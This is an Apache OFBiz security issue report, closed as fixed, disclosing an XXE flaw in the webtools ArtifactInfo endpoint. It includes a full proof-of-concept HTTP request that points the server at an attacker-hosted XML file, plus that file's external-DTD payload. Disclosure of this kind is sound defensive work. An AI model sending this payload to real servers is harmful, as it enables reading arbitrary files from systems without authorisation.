[OFBIZ-12306] Found a new XXE (XML External Entity Injection) vulnerability in ArtifactInfo

• Type: Sub-task
• Status: Closed
• Priority: Major
• Resolution: Fixed
• Affects Version/s: 17.12.08
• Fix Version/s: Release Branch 17.12, 18.12.01
• Component/s: framework/webtools
• Labels: security
• Flags: Important
• Sprint: Bug Crush Event - 21/2/2015

Language

Java

• Assignee: Jacques Le Roux
• Reporter: thiscodecc
• Created: 27/Aug/21 07:51
• Updated: 14/Sep/21 09:32
• Resolved: 13/Sep/21 07:37

Description

The http packet is as follows:

POST /webtools/control/ArtifactInfo HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://127.0.0.1:8443/webtools/control/ArtifactInfo
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Origin: https://127.0.0.1:8443
Connection: close
Cookie: JSESSIONID=E5591794A3BE924E307356FCA2B0A1A6.jvm1; OFBiz.Visitor=10103; CookiePreferences=[]; login_username=admin; login_nickname=admin; UM_distinctid=178a633ad075a3-0853063891be59-445b6f-13c680-178a633ad087e9; displayTagDiv=false; Hm_lvt_e325e60ca4cd358f2b424f5aecb8021a=1621261771; careyshop-1.8.4-uuid=admin; careyshop-1.8.4-block=false
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

name=x&location=http://attacker:8111/2.xml&type=request&submitButton=Lookup

 

The content of the 2.xml file of the attacker's http service is as follows:

 

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE Quan SYSTEM "http://127.0.0.1:12311/vlab.dtd"><xml-body></xml-body>

The XXE vulnerability can read arbitrary files on the server.